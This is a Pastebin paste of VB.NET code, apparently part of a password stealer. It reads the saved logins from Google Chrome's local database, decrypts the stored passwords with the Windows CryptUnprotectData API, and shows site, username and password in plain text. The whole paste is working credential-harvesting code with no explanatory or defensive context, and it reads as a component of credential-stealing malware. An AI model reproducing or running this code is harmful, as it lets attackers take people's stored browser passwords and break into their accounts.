Advertisement
Guest User

Untitled

a guest
Jun 2nd, 2017
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 3.08 KB | None | 0 0
  1.     Sub GetChrome()
  2.         On Error Resume Next
  3.         Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Web Data"
  4.         If File.Exists(datapath) Then
  5.             Dim SQLconnect As New SQLiteConnection()
  6.             Dim SQLcommand As SQLiteCommand
  7.             SQLconnect.ConnectionString = "Data Source=" + datapath + ";"
  8.             SQLconnect.Open()
  9.             SQLcommand = SQLconnect.CreateCommand
  10.             SQLcommand.CommandText = "SELECT * FROM logins"
  11.             Dim SQLreader As SQLiteDataReader = SQLcommand.ExecuteReader()
  12.             Dim host, user, pass As String
  13.             While SQLreader.Read()
  14.                 host = SQLreader("origin_url")
  15.                 user = SQLreader("username_value")
  16.                 pass = Decrypt(SQLreader("password_value"))
  17.                 If (user <> "") And (pass <> "") Then
  18.  
  19.                     Dim pss As New ListViewItem
  20.                     pss.Text = host
  21.                     chromefuck = ("---------------------------------------------" & vbNewLine & "Website: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "---------------------------------------------" _
  22.                     & vbNewLine & " ")
  23.                     TextBox8.Text = chromefuck
  24.                 End If
  25.             End While
  26.             SQLcommand.Dispose()
  27.             SQLconnect.Close()
  28.         End If
  29.     End Sub
  30.     <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  31.    Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
  32.     End Function
  33.     <Flags()> Enum CryptProtectPromptFlags
  34.         CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
  35.         CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
  36.     End Enum
  37.     <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
  38.         Public cbSize As Integer
  39.         Public dwPromptFlags As CryptProtectPromptFlags
  40.         Public hwndApp As IntPtr
  41.         Public szPrompt As String
  42.     End Structure
  43.     <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
  44.         Public cbData As Integer
  45.         Public pbData As IntPtr
  46.     End Structure
  47.     Shared Function Decrypt(ByVal Datas() As Byte) As String
  48.         Dim inj, Ors As New DATA_BLOB
  49.         Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
  50.         inj.pbData = Ghandle.AddrOfPinnedObject()
  51.         inj.cbData = Datas.Length
  52.         Ghandle.Free()
  53.         CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
  54.         Dim Returned() As Byte = New Byte(Ors.cbData) {}
  55.         Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
  56.         Dim TheString As String = Encoding.Default.GetString(Returned)
  57.         Return TheString.Substring(0, TheString.Length - 1)
  58.     End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement